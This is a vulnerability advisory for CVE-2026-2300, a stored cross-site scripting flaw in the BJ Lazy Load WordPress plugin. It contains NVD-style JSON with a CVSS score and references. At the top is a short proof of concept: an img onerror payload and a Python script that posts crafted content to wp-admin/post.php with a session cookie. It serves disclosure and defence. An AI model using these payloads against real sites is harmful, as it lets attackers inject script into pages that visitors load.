CVE-2026-2300

<!-- PoC Conceptual Example --> <!-- Attacker injects the following payload in a post content or class attribute --> <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="lazy" onerror="alert('XSS')"> <!-- Python Request Example --> import requests target_url = "http://example.com/wp-admin/post.php" cookies = {"wordpress_logged_in": "..."} data = { "post_title": "Test Post", "content": "<img class='lazy onerror=alert(1)' src='valid.jpg'>", "action": "editpost", "post_ID": "1" } response = requests.post(target_url, data=data, cookies=cookies) print(response.status_code)

{"cve": {"id": "CVE-2026-2300", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:39.623", "lastModified": "2026-05-12T09:16:39.623", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BJ Lazy Load plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `filter_images()` function in all versions up to, and including, 1.0.9. This is due to the use of regex-based HTML processing (`preg_replace`) that does not properly handle HTML attribute boundaries when replacing `src` attributes, allowing crafted content inside a `class` attribute value to be promoted to real DOM attributes after processing. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/bj-lazy-load/tags/1.0.9/inc/class-bjll.php#L121", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bj-lazy-load/tags/1.0.9/inc/class-bjll.php#L210", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bj-lazy-load/trunk/inc/class-bjll.php#L121", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bj-lazy-load/trunk/inc/class-bjll.php#L210", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f443846f-4d70-4ca0-beeb-d2e839b14765?source=cve", "source": "[email protected]"}]}}